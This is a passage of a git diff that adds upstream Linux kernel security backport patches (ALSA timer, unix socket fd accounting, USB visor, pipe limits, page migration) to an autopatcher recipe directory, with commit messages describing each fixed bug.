+The fix is to use list_del_init() variant properly there, too. + +Reported-by: Dmitry Vyukov +Tested-by: Dmitry Vyukov +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/timer.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 1d5461719e31..4e436fe53afa 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -703,7 +703,7 @@ void snd_timer_interrupt(struct snd_timer * timer, unsigned long ticks_left) + } else { + ti->flags &= ~SNDRV_TIMER_IFLG_RUNNING; + if (--timer->running) +- list_del(&ti->active_list); ++ list_del_init(&ti->active_list); + } + if ((timer->hw.flags & SNDRV_TIMER_HW_TASKLET) || + (ti->flags & SNDRV_TIMER_IFLG_FAST)) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0216-a49bdee155fd-ALSA timer Fix race among timer ioctls.patch b/recipes-kernel/linux/linux-bass/autopatcher/0216-a49bdee155fd-ALSA timer Fix race among timer ioctls.patch new file mode 100644 index 0000000..f3ffd15 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0216-a49bdee155fd-ALSA timer Fix race among timer ioctls.patch @@ -0,0 +1,123 @@ +From a49bdee155fde66928197108cece545d49edec17 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Wed, 13 Jan 2016 17:48:01 +0100 +Subject: ALSA: timer: Fix race among timer ioctls + +commit af368027a49a751d6ff4ee9e3f9961f35bb4fede upstream. + +ALSA timer ioctls have an open race and this may lead to a +use-after-free of timer instance object. A simplistic fix is to make +each ioctl exclusive. We have already tread_sem for controlling the +tread, and extend this as a global mutex to be applied to each ioctl. + +The downside is, of course, the worse concurrency. But these ioctls +aren't to be parallel accessible, in anyway, so it should be fine to +serialize there. + +Reported-by: Dmitry Vyukov +Tested-by: Dmitry Vyukov +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/timer.c | 32 +++++++++++++++++++------------- + 1 file changed, 19 insertions(+), 13 deletions(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 38a137d6b04fd..1d5461719e31f 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -73,7 +73,7 @@ struct snd_timer_user { + struct timespec tstamp; /* trigger tstamp */ + wait_queue_head_t qchange_sleep; + struct fasync_struct *fasync; +- struct mutex tread_sem; ++ struct mutex ioctl_lock; + }; + + /* list of timers */ +@@ -1266,7 +1266,7 @@ static int snd_timer_user_open(struct inode *inode, struct file *file) + return -ENOMEM; + spin_lock_init(&tu->qlock); + init_waitqueue_head(&tu->qchange_sleep); +- mutex_init(&tu->tread_sem); ++ mutex_init(&tu->ioctl_lock); + tu->ticks = 1; + tu->queue_size = 128; + tu->queue = kmalloc(tu->queue_size * sizeof(struct snd_timer_read), +@@ -1286,8 +1286,10 @@ static int snd_timer_user_release(struct inode *inode, struct file *file) + if (file->private_data) { + tu = file->private_data; + file->private_data = NULL; ++ mutex_lock(&tu->ioctl_lock); + if (tu->timeri) + snd_timer_close(tu->timeri); ++ mutex_unlock(&tu->ioctl_lock); + kfree(tu->queue); + kfree(tu->tqueue); + kfree(tu); +@@ -1525,7 +1527,6 @@ static int snd_timer_user_tselect(struct file *file, + int err = 0; + + tu = file->private_data; +- mutex_lock(&tu->tread_sem); + if (tu->timeri) { + snd_timer_close(tu->timeri); + tu->timeri = NULL; +@@ -1569,7 +1570,6 @@ static int snd_timer_user_tselect(struct file *file, + } + + __err: +- mutex_unlock(&tu->tread_sem); + return err; + } + +@@ -1782,7 +1782,7 @@ enum { + SNDRV_TIMER_IOCTL_PAUSE_OLD = _IO('T', 0x23), + }; + +-static long snd_timer_user_ioctl(struct file *file, unsigned int cmd, ++static long __snd_timer_user_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) + { + struct snd_timer_user *tu; +@@ -1799,17 +1799,11 @@ static long snd_timer_user_ioctl(struct file *file, unsigned int cmd, + { + int xarg; + +- mutex_lock(&tu->tread_sem); +- if (tu->timeri) { /* too late */ +- mutex_unlock(&tu->tread_sem); ++ if (tu->timeri) /* too late */ + return -EBUSY; +- } +- if (get_user(xarg, p)) { +- mutex_unlock(&tu->tread_sem); ++ if (get_user(xarg, p)) + return -EFAULT; +- } + tu->tread = xarg ? 1 : 0; +- mutex_unlock(&tu->tread_sem); + return 0; + } + case SNDRV_TIMER_IOCTL_GINFO: +@@ -1842,6 +1836,18 @@ static long snd_timer_user_ioctl(struct file *file, unsigned int cmd, + return -ENOTTY; + } + ++static long snd_timer_user_ioctl(struct file *file, unsigned int cmd, ++ unsigned long arg) ++{ ++ struct snd_timer_user *tu = file->private_data; ++ long ret; ++ ++ mutex_lock(&tu->ioctl_lock); ++ ret = __snd_timer_user_ioctl(file, cmd, arg); ++ mutex_unlock(&tu->ioctl_lock); ++ return ret; ++} ++ + static int snd_timer_user_fasync(int fd, struct file * file, int on) + { + struct snd_timer_user *tu; +-- +cgit 1.2.3-1.el7 diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0217-d24455ed4c3e-ALSA hrtimer Fix stall by hrtimercancel.patch b/recipes-kernel/linux/linux-bass/autopatcher/0217-d24455ed4c3e-ALSA hrtimer Fix stall by hrtimercancel.patch new file mode 100644 index 0000000..c01ccf1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0217-d24455ed4c3e-ALSA hrtimer Fix stall by hrtimercancel.patch @@ -0,0 +1,56 @@ +From d24455ed4c3e2220da50347700fa8aba6c3ed065 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 18 Jan 2016 13:52:47 +0100 +Subject: ALSA: hrtimer: Fix stall by hrtimer_cancel() + +commit 2ba1fe7a06d3624f9a7586d672b55f08f7c670f3 upstream. + +hrtimer_cancel() waits for the completion from the callback, thus it +must not be called inside the callback itself. This was already a +problem in the past with ALSA hrtimer driver, and the early commit +[fcfdebe70759: ALSA: hrtimer - Fix lock-up] tried to address it. + +However, the previous fix is still insufficient: it may still cause a +lockup when the ALSA timer instance reprograms itself in its callback. +Then it invokes the start function even in snd_timer_interrupt() that +is called in hrtimer callback itself, results in a CPU stall. This is +no hypothetical problem but actually triggered by syzkaller fuzzer. + +This patch tries to fix the issue again. Now we call +hrtimer_try_to_cancel() at both start and stop functions so that it +won't fall into a deadlock, yet giving some chance to cancel the queue +if the functions have been called outside the callback. The proper +hrtimer_cancel() is called in anyway at closing, so this should be +enough. + +Reported-and-tested-by: Dmitry Vyukov +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/hrtimer.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/sound/core/hrtimer.c b/sound/core/hrtimer.c +index b8b31c433d640..14d483d6b3b00 100644 +--- a/sound/core/hrtimer.c ++++ b/sound/core/hrtimer.c +@@ -90,7 +90,7 @@ static int snd_hrtimer_start(struct snd_timer *t) + struct snd_hrtimer *stime = t->private_data; + + atomic_set(&stime->running, 0); +- hrtimer_cancel(&stime->hrt); ++ hrtimer_try_to_cancel(&stime->hrt); + hrtimer_start(&stime->hrt, ns_to_ktime(t->sticks * resolution), + HRTIMER_MODE_REL); + atomic_set(&stime->running, 1); +@@ -101,6 +101,7 @@ static int snd_hrtimer_stop(struct snd_timer *t) + { + struct snd_hrtimer *stime = t->private_data; + atomic_set(&stime->running, 0); ++ hrtimer_try_to_cancel(&stime->hrt); + return 0; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0218-341f09c01a7f-unix correctly track inflight fds in sending process userstruct.patch b/recipes-kernel/linux/linux-bass/autopatcher/0218-341f09c01a7f-unix correctly track inflight fds in sending process userstruct.patch new file mode 100644 index 0000000..98a99a7 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0218-341f09c01a7f-unix correctly track inflight fds in sending process userstruct.patch @@ -0,0 +1,162 @@ +From 341f09c01a7f26a030f3bedb08e4ce91e3ca24d3 Mon Sep 17 00:00:00 2001 +From: Hannes Frederic Sowa +Date: Wed, 3 Feb 2016 02:11:03 +0100 +Subject: unix: correctly track in-flight fds in sending process user_struct + +commit 415e3d3e90ce9e18727e8843ae343eda5a58fad6 upstream. + +The commit referenced in the Fixes tag incorrectly accounted the number +of in-flight fds over a unix domain socket to the original opener +of the file-descriptor. This allows another process to arbitrary +deplete the original file-openers resource limit for the maximum of +open files. Instead the sending processes and its struct cred should +be credited. + +To do so, we add a reference counted struct user_struct pointer to the +scm_fp_list and use it to account for the number of inflight unix fds. + +Fixes: 712f4aad406bb1 ("unix: properly account for FDs passed over unix sockets") +Reported-by: David Herrmann +Cc: David Herrmann +Cc: Willy Tarreau +Cc: Linus Torvalds +Suggested-by: Linus Torvalds +Signed-off-by: Hannes Frederic Sowa +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +Signed-off-by: Greg Kroah-Hartman +--- + include/net/af_unix.h | 4 ++-- + include/net/scm.h | 1 + + net/core/scm.c | 7 +++++++ + net/unix/af_unix.c | 4 ++-- + net/unix/garbage.c | 8 ++++---- + 5 files changed, 16 insertions(+), 8 deletions(-) + +diff --git a/include/net/af_unix.h b/include/net/af_unix.h +index 6867600245725..6278e4d32612e 100644 +--- a/include/net/af_unix.h ++++ b/include/net/af_unix.h +@@ -6,8 +6,8 @@ + #include + #include + +-extern void unix_inflight(struct file *fp); +-extern void unix_notinflight(struct file *fp); ++extern void unix_inflight(struct user_struct *user, struct file *fp); ++extern void unix_notinflight(struct user_struct *user, struct file *fp); + extern void unix_gc(void); + extern void wait_for_unix_gc(void); + extern struct sock *unix_get_socket(struct file *filp); +diff --git a/include/net/scm.h b/include/net/scm.h +index 8de2d37d2077f..d00cd43a990c8 100644 +--- a/include/net/scm.h ++++ b/include/net/scm.h +@@ -21,6 +21,7 @@ struct scm_creds { + struct scm_fp_list { + short count; + short max; ++ struct user_struct *user; + struct file *fp[SCM_MAX_FD]; + }; + +diff --git a/net/core/scm.c b/net/core/scm.c +index dbc6bfcdf4464..7a6cf8351cde8 100644 +--- a/net/core/scm.c ++++ b/net/core/scm.c +@@ -87,6 +87,7 @@ static int scm_fp_copy(struct cmsghdr *cmsg, struct scm_fp_list **fplp) + *fplp = fpl; + fpl->count = 0; + fpl->max = SCM_MAX_FD; ++ fpl->user = NULL; + } + fpp = &fpl->fp[fpl->count]; + +@@ -107,6 +108,10 @@ static int scm_fp_copy(struct cmsghdr *cmsg, struct scm_fp_list **fplp) + *fpp++ = file; + fpl->count++; + } ++ ++ if (!fpl->user) ++ fpl->user = get_uid(current_user()); ++ + return num; + } + +@@ -119,6 +124,7 @@ void __scm_destroy(struct scm_cookie *scm) + scm->fp = NULL; + for (i=fpl->count-1; i>=0; i--) + fput(fpl->fp[i]); ++ free_uid(fpl->user); + kfree(fpl); + } + } +@@ -337,6 +343,7 @@ struct scm_fp_list *scm_fp_dup(struct scm_fp_list *fpl) + for (i = 0; i < fpl->count; i++) + get_file(fpl->fp[i]); + new_fpl->max = new_fpl->count; ++ new_fpl->user = get_uid(fpl->user); + } + return new_fpl; + } +diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c +index a673c1f4f638d..8f118c7c19e1a 100644 +--- a/net/unix/af_unix.c ++++ b/net/unix/af_unix.c +@@ -1466,7 +1466,7 @@ static void unix_detach_fds(struct scm_cookie *scm, struct sk_buff *skb) + UNIXCB(skb).fp = NULL; + + for (i = scm->fp->count-1; i >= 0; i--) +- unix_notinflight(scm->fp->fp[i]); ++ unix_notinflight(scm->fp->user, scm->fp->fp[i]); + } + + static void unix_destruct_scm(struct sk_buff *skb) +@@ -1531,7 +1531,7 @@ static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) + return -ENOMEM; + + for (i = scm->fp->count - 1; i >= 0; i--) +- unix_inflight(scm->fp->fp[i]); ++ unix_inflight(scm->fp->user, scm->fp->fp[i]); + return max_level; + } + +diff --git a/net/unix/garbage.c b/net/unix/garbage.c +index 06730fe6ad9db..a72182d6750f5 100644 +--- a/net/unix/garbage.c ++++ b/net/unix/garbage.c +@@ -122,7 +122,7 @@ struct sock *unix_get_socket(struct file *filp) + * descriptor if it is for an AF_UNIX socket. + */ + +-void unix_inflight(struct file *fp) ++void unix_inflight(struct user_struct *user, struct file *fp) + { + struct sock *s = unix_get_socket(fp); + +@@ -139,11 +139,11 @@ void unix_inflight(struct file *fp) + } + unix_tot_inflight++; + } +- fp->f_cred->user->unix_inflight++; ++ user->unix_inflight++; + spin_unlock(&unix_gc_lock); + } + +-void unix_notinflight(struct file *fp) ++void unix_notinflight(struct user_struct *user, struct file *fp) + { + struct sock *s = unix_get_socket(fp); + +@@ -157,7 +157,7 @@ void unix_notinflight(struct file *fp) + list_del_init(&u->link); + unix_tot_inflight--; + } +- fp->f_cred->user->unix_inflight--; ++ user->unix_inflight--; + spin_unlock(&unix_gc_lock); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0219-f1a9ca0d6949-USB visor fix nullderef at probe.patch b/recipes-kernel/linux/linux-bass/autopatcher/0219-f1a9ca0d6949-USB visor fix nullderef at probe.patch new file mode 100644 index 0000000..933eac6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0219-f1a9ca0d6949-USB visor fix nullderef at probe.patch @@ -0,0 +1,40 @@ +From f1a9ca0d6949ec920c7e34a1eb48dbf55e84f8ed Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Tue, 12 Jan 2016 12:05:20 +0100 +Subject: USB: visor: fix null-deref at probe + +commit cac9b50b0d75a1d50d6c056ff65c005f3224c8e0 upstream. + +Fix null-pointer dereference at probe should a (malicious) Treo device +lack the expected endpoints. + +Specifically, the Treo port-setup hack was dereferencing the bulk-in and +interrupt-in urbs without first making sure they had been allocated by +core. + +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/serial/visor.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/usb/serial/visor.c b/drivers/usb/serial/visor.c +index 9c61a8671721..605068e6acf2 100644 +--- a/drivers/usb/serial/visor.c ++++ b/drivers/usb/serial/visor.c +@@ -551,6 +551,11 @@ static int treo_attach(struct usb_serial *serial) + (serial->num_interrupt_in == 0)) + return 0; + ++ if (serial->num_bulk_in < 2 || serial->num_interrupt_in < 2) { ++ dev_err(&serial->interface->dev, "missing endpoints\n"); ++ return -ENODEV; ++ } ++ + /* + * It appears that Treos and Kyoceras want to use the + * 1st bulk in endpoint to communicate with the 2nd bulk out endpoint, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0220-f474c525b4f4-pipe limit the peruser amount of pages allocated in pipes.patch b/recipes-kernel/linux/linux-bass/autopatcher/0220-f474c525b4f4-pipe limit the peruser amount of pages allocated in pipes.patch new file mode 100644 index 0000000..4212954 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0220-f474c525b4f4-pipe limit the peruser amount of pages allocated in pipes.patch @@ -0,0 +1,256 @@ +From f474c525b4f412522cd092b6c8bffb6a0fd9a4de Mon Sep 17 00:00:00 2001 +From: Willy Tarreau +Date: Fri, 15 Jul 2016 14:26:27 -0400 +Subject: pipe: limit the per-user amount of pages allocated in pipes + +commit 759c01142a5d0f364a462346168a56de28a80f52 upstream. + +On no-so-small systems, it is possible for a single process to cause an +OOM condition by filling large pipes with data that are never read. A +typical process filling 4000 pipes with 1 MB of data will use 4 GB of +memory. On small systems it may be tricky to set the pipe max size to +prevent this from happening. + +This patch makes it possible to enforce a per-user soft limit above +which new pipes will be limited to a single page, effectively limiting +them to 4 kB each, as well as a hard limit above which no new pipes may +be created for this user. This has the effect of protecting the system +against memory abuse without hurting other users, and still allowing +pipes to work correctly though with less data at once. + +The limit are controlled by two new sysctls : pipe-user-pages-soft, and +pipe-user-pages-hard. Both may be disabled by setting them to zero. The +default soft limit allows the default number of FDs per process (1024) +to create pipes of the default size (64kB), thus reaching a limit of 64MB +before starting to create only smaller pipes. With 256 processes limited +to 1024 FDs each, this results in 1024*64kB + (256*1024 - 1024) * 4kB = +1084 MB of memory allocated for a user. The hard limit is disabled by +default to avoid breaking existing applications that make intensive use +of pipes (eg: for splicing). + +CVE-2016-2847 + +Reported-by: socketpair@gmail.com +Reported-by: Tetsuo Handa +Mitigates: CVE-2013-4312 (Linux 2.0+) +Suggested-by: Linus Torvalds +Signed-off-by: Willy Tarreau +Signed-off-by: Al Viro +Signed-off-by: Luis Henriques +Signed-off-by: Chas Williams <3chas3@gmail.com> +--- + Documentation/sysctl/fs.txt | 23 ++++++++++++++++++++++ + fs/pipe.c | 47 +++++++++++++++++++++++++++++++++++++++++++-- + include/linux/pipe_fs_i.h | 4 ++++ + include/linux/sched.h | 1 + + kernel/sysctl.c | 14 ++++++++++++++ + 5 files changed, 87 insertions(+), 2 deletions(-) + +diff --git a/Documentation/sysctl/fs.txt b/Documentation/sysctl/fs.txt +index 88152f214f48..302b5ed616a6 100644 +--- a/Documentation/sysctl/fs.txt ++++ b/Documentation/sysctl/fs.txt +@@ -32,6 +32,8 @@ Currently, these files are in /proc/sys/fs: + - nr_open + - overflowuid + - overflowgid ++- pipe-user-pages-hard ++- pipe-user-pages-soft + - protected_hardlinks + - protected_symlinks + - suid_dumpable +@@ -159,6 +161,27 @@ The default is 65534. + + ============================================================== + ++pipe-user-pages-hard: ++ ++Maximum total number of pages a non-privileged user may allocate for pipes. ++Once this limit is reached, no new pipes may be allocated until usage goes ++below the limit again. When set to 0, no limit is applied, which is the default ++setting. ++ ++============================================================== ++ ++pipe-user-pages-soft: ++ ++Maximum total number of pages a non-privileged user may allocate for pipes ++before the pipe size gets limited to a single page. Once this limit is reached, ++new pipes will be limited to a single page in size for this user in order to ++limit total memory usage, and trying to increase them using fcntl() will be ++denied until usage goes below the limit again. The default value allows to ++allocate up to 1024 pipes at their default size. When set to 0, no limit is ++applied. ++ ++============================================================== ++ + protected_hardlinks: + + A long-standing class of security issues is the hardlink-based +diff --git a/fs/pipe.c b/fs/pipe.c +index 50267e6ba688..c281867c453e 100644 +--- a/fs/pipe.c ++++ b/fs/pipe.c +@@ -39,6 +39,12 @@ unsigned int pipe_max_size = 1048576; + */ + unsigned int pipe_min_size = PAGE_SIZE; + ++/* Maximum allocatable pages per user. Hard limit is unset by default, soft ++ * matches default values. ++ */ ++unsigned long pipe_user_pages_hard; ++unsigned long pipe_user_pages_soft = PIPE_DEF_BUFFERS * INR_OPEN_CUR; ++ + /* + * We use a start+len construction, which provides full use of the + * allocated memory. +@@ -794,20 +800,49 @@ pipe_fasync(int fd, struct file *filp, int on) + return retval; + } + ++static void account_pipe_buffers(struct pipe_inode_info *pipe, ++ unsigned long old, unsigned long new) ++{ ++ atomic_long_add(new - old, &pipe->user->pipe_bufs); ++} ++ ++static bool too_many_pipe_buffers_soft(struct user_struct *user) ++{ ++ return pipe_user_pages_soft && ++ atomic_long_read(&user->pipe_bufs) >= pipe_user_pages_soft; ++} ++ ++static bool too_many_pipe_buffers_hard(struct user_struct *user) ++{ ++ return pipe_user_pages_hard && ++ atomic_long_read(&user->pipe_bufs) >= pipe_user_pages_hard; ++} ++ + struct pipe_inode_info *alloc_pipe_info(void) + { + struct pipe_inode_info *pipe; + + pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL); + if (pipe) { +- pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * PIPE_DEF_BUFFERS, GFP_KERNEL); ++ unsigned long pipe_bufs = PIPE_DEF_BUFFERS; ++ struct user_struct *user = get_current_user(); ++ ++ if (!too_many_pipe_buffers_hard(user)) { ++ if (too_many_pipe_buffers_soft(user)) ++ pipe_bufs = 1; ++ pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * pipe_bufs, GFP_KERNEL); ++ } ++ + if (pipe->bufs) { + init_waitqueue_head(&pipe->wait); + pipe->r_counter = pipe->w_counter = 1; +- pipe->buffers = PIPE_DEF_BUFFERS; ++ pipe->buffers = pipe_bufs; ++ pipe->user = user; ++ account_pipe_buffers(pipe, 0, pipe_bufs); + mutex_init(&pipe->mutex); + return pipe; + } ++ free_uid(user); + kfree(pipe); + } + +@@ -818,6 +853,8 @@ void free_pipe_info(struct pipe_inode_info *pipe) + { + int i; + ++ account_pipe_buffers(pipe, pipe->buffers, 0); ++ free_uid(pipe->user); + for (i = 0; i < pipe->buffers; i++) { + struct pipe_buffer *buf = pipe->bufs + i; + if (buf->ops) +@@ -1208,6 +1245,7 @@ static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long nr_pages) + memcpy(bufs + head, pipe->bufs, tail * sizeof(struct pipe_buffer)); + } + ++ account_pipe_buffers(pipe, pipe->buffers, nr_pages); + pipe->curbuf = 0; + kfree(pipe->bufs); + pipe->bufs = bufs; +@@ -1279,6 +1317,11 @@ long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg) + if (!capable(CAP_SYS_RESOURCE) && size > pipe_max_size) { + ret = -EPERM; + goto out; ++ } else if ((too_many_pipe_buffers_hard(pipe->user) || ++ too_many_pipe_buffers_soft(pipe->user)) && ++ !capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN)) { ++ ret = -EPERM; ++ goto out; + } + ret = pipe_set_size(pipe, nr_pages); + break; +diff --git a/include/linux/pipe_fs_i.h b/include/linux/pipe_fs_i.h +index ab5752692113..b3374f63bc36 100644 +--- a/include/linux/pipe_fs_i.h ++++ b/include/linux/pipe_fs_i.h +@@ -42,6 +42,7 @@ struct pipe_buffer { + * @fasync_readers: reader side fasync + * @fasync_writers: writer side fasync + * @bufs: the circular array of pipe buffers ++ * @user: the user who created this pipe + **/ + struct pipe_inode_info { + struct mutex mutex; +@@ -57,6 +58,7 @@ struct pipe_inode_info { + struct fasync_struct *fasync_readers; + struct fasync_struct *fasync_writers; + struct pipe_buffer *bufs; ++ struct user_struct *user; + }; + + /* +@@ -140,6 +142,8 @@ void pipe_unlock(struct pipe_inode_info *); + void pipe_double_lock(struct pipe_inode_info *, struct pipe_inode_info *); + + extern unsigned int pipe_max_size, pipe_min_size; ++extern unsigned long pipe_user_pages_hard; ++extern unsigned long pipe_user_pages_soft; + int pipe_proc_fn(struct ctl_table *, int, void __user *, size_t *, loff_t *); + + +diff --git a/include/linux/sched.h b/include/linux/sched.h +index 4781332f2e11..7728941e7ddc 100644 +--- a/include/linux/sched.h ++++ b/include/linux/sched.h +@@ -671,6 +671,7 @@ struct user_struct { + #endif + unsigned long locked_shm; /* How many pages of mlocked shm ? */ + unsigned long unix_inflight; /* How many files in flight in unix sockets */ ++ atomic_long_t pipe_bufs; /* how many pages are allocated in pipe buffers */ + + #ifdef CONFIG_KEYS + struct key *uid_keyring; /* UID specific keyring */ +diff --git a/kernel/sysctl.c b/kernel/sysctl.c +index 9469f4c61a30..4fd49fe1046d 100644 +--- a/kernel/sysctl.c ++++ b/kernel/sysctl.c +@@ -1632,6 +1632,20 @@ static struct ctl_table fs_table[] = { + .proc_handler = &pipe_proc_fn, + .extra1 = &pipe_min_size, + }, ++ { ++ .procname = "pipe-user-pages-hard", ++ .data = &pipe_user_pages_hard, ++ .maxlen = sizeof(pipe_user_pages_hard), ++ .mode = 0644, ++ .proc_handler = proc_doulongvec_minmax, ++ }, ++ { ++ .procname = "pipe-user-pages-soft", ++ .data = &pipe_user_pages_soft, ++ .maxlen = sizeof(pipe_user_pages_soft), ++ .mode = 0644, ++ .proc_handler = proc_doulongvec_minmax, ++ }, + { } + }; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0221-af110cc4b242-mm migrate dirty page without clearpagedirtyforio etc.patch b/recipes-kernel/linux/linux-bass/autopatcher/0221-af110cc4b242-mm migrate dirty page without clearpagedirtyforio etc.patch new file mode 100644 index 0000000..e97a872 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0221-af110cc4b242-mm migrate dirty page without clearpagedirtyforio etc.patch @@ -0,0 +1,163 @@ +From af110cc4b24250faafd4f3b9879cf51e350d7799 Mon Sep 17 00:00:00 2001 +From: Hugh Dickins +Date: Fri, 15 Jul 2016 15:08:19 -0400 +Subject: mm: migrate dirty page without clear_page_dirty_for_io etc + +commit 42cb14b110a5698ccf26ce59c4441722605a3743 upstream. + +clear_page_dirty_for_io() has accumulated writeback and memcg subtleties +since v2.6.16 first introduced page migration; and the set_page_dirty() +which completed its migration of PageDirty, later had to be moderated to +__set_page_dirty_nobuffers(); then PageSwapBacked had to skip that too. + +No actual problems seen with this procedure recently, but if you look into +what the clear_page_dirty_for_io(page)+set_page_dirty(newpage) is actually +achieving, it turns out to be nothing more than moving the PageDirty flag, +and its NR_FILE_DIRTY stat from one zone to another. + +It would be good to avoid a pile of irrelevant decrementations and +incrementations, and improper event counting, and unnecessary descent of +the radix_tree under tree_lock (to set the PAGECACHE_TAG_DIRTY which +radix_tree_replace_slot() left in place anyway). + +Do the NR_FILE_DIRTY movement, like the other stats movements, while +interrupts still disabled in migrate_page_move_mapping(); and don't even +bother if the zone is the same. Do the PageDirty movement there under +tree_lock too, where old page is frozen and newpage not yet visible: +bearing in mind that as soon as newpage becomes visible in radix_tree, an +un-page-locked set_page_dirty() might interfere (or perhaps that's just +not possible: anything doing so should already hold an additional +reference to the old page, preventing its migration; but play safe). + +But we do still need to transfer PageDirty in migrate_page_copy(), for +those who don't go the mapping route through migrate_page_move_mapping(). + +CVE-2016-3070 + +Signed-off-by: Hugh Dickins +Cc: Christoph Lameter +Cc: "Kirill A. Shutemov" +Cc: Rik van Riel +Cc: Vlastimil Babka +Cc: Davidlohr Bueso +Cc: Oleg Nesterov +Cc: Sasha Levin +Cc: Dmitry Vyukov +Cc: KOSAKI Motohiro +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +[ciwillia@brocade.com: backported to 3.10: adjusted context] +Signed-off-by: Charles (Chas) Williams +Signed-off-by: Willy Tarreau +--- + mm/migrate.c | 51 +++++++++++++++++++++++++++++++-------------------- + 1 file changed, 31 insertions(+), 20 deletions(-) + +diff --git a/mm/migrate.c b/mm/migrate.c +index a88c12f2235de..a61500f2671fb 100644 +--- a/mm/migrate.c ++++ b/mm/migrate.c +@@ -30,6 +30,7 @@ + #include + #include + #include ++#include + #include + #include + #include +@@ -311,6 +312,8 @@ static int migrate_page_move_mapping(struct address_space *mapping, + struct page *newpage, struct page *page, + struct buffer_head *head, enum migrate_mode mode) + { ++ struct zone *oldzone, *newzone; ++ int dirty; + int expected_count = 0; + void **pslot; + +@@ -321,6 +324,9 @@ static int migrate_page_move_mapping(struct address_space *mapping, + return MIGRATEPAGE_SUCCESS; + } + ++ oldzone = page_zone(page); ++ newzone = page_zone(newpage); ++ + spin_lock_irq(&mapping->tree_lock); + + pslot = radix_tree_lookup_slot(&mapping->page_tree, +@@ -361,6 +367,13 @@ static int migrate_page_move_mapping(struct address_space *mapping, + set_page_private(newpage, page_private(page)); + } + ++ /* Move dirty while page refs frozen and newpage not yet exposed */ ++ dirty = PageDirty(page); ++ if (dirty) { ++ ClearPageDirty(page); ++ SetPageDirty(newpage); ++ } ++ + radix_tree_replace_slot(pslot, newpage); + + /* +@@ -370,6 +383,9 @@ static int migrate_page_move_mapping(struct address_space *mapping, + */ + page_unfreeze_refs(page, expected_count - 1); + ++ spin_unlock(&mapping->tree_lock); ++ /* Leave irq disabled to prevent preemption while updating stats */ ++ + /* + * If moved to a different zone then also account + * the page for that zone. Other VM counters will be +@@ -380,13 +396,19 @@ static int migrate_page_move_mapping(struct address_space *mapping, + * via NR_FILE_PAGES and NR_ANON_PAGES if they + * are mapped to swap space. + */ +- __dec_zone_page_state(page, NR_FILE_PAGES); +- __inc_zone_page_state(newpage, NR_FILE_PAGES); +- if (!PageSwapCache(page) && PageSwapBacked(page)) { +- __dec_zone_page_state(page, NR_SHMEM); +- __inc_zone_page_state(newpage, NR_SHMEM); ++ if (newzone != oldzone) { ++ __dec_zone_state(oldzone, NR_FILE_PAGES); ++ __inc_zone_state(newzone, NR_FILE_PAGES); ++ if (PageSwapBacked(page) && !PageSwapCache(page)) { ++ __dec_zone_state(oldzone, NR_SHMEM); ++ __inc_zone_state(newzone, NR_SHMEM); ++ } ++ if (dirty && mapping_cap_account_dirty(mapping)) { ++ __dec_zone_state(oldzone, NR_FILE_DIRTY); ++ __inc_zone_state(newzone, NR_FILE_DIRTY); ++ } + } +- spin_unlock_irq(&mapping->tree_lock); ++ local_irq_enable(); + + return MIGRATEPAGE_SUCCESS; + } +@@ -460,20 +482,9 @@ void migrate_page_copy(struct page *newpage, struct page *page) + if (PageMappedToDisk(page)) + SetPageMappedToDisk(newpage); + +- if (PageDirty(page)) { +- clear_page_dirty_for_io(page); +- /* +- * Want to mark the page and the radix tree as dirty, and +- * redo the accounting that clear_page_dirty_for_io undid, +- * but we can't use set_page_dirty because that function +- * is actually a signal that all of the page has become dirty. +- * Whereas only part of our page may be dirty. +- */ +- if (PageSwapBacked(page)) +- SetPageDirty(newpage); +- else +- __set_page_dirty_nobuffers(newpage); +- } ++ /* Move dirty on pages not done by migrate_page_move_mapping() */ ++ if (PageDirty(page)) ++ SetPageDirty(newpage); + + mlock_migrate_page(newpage, page); + ksm_migrate_page(newpage, page); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0222-0608074c2c1f-netfilter xtables validate etargetoffset early.patch 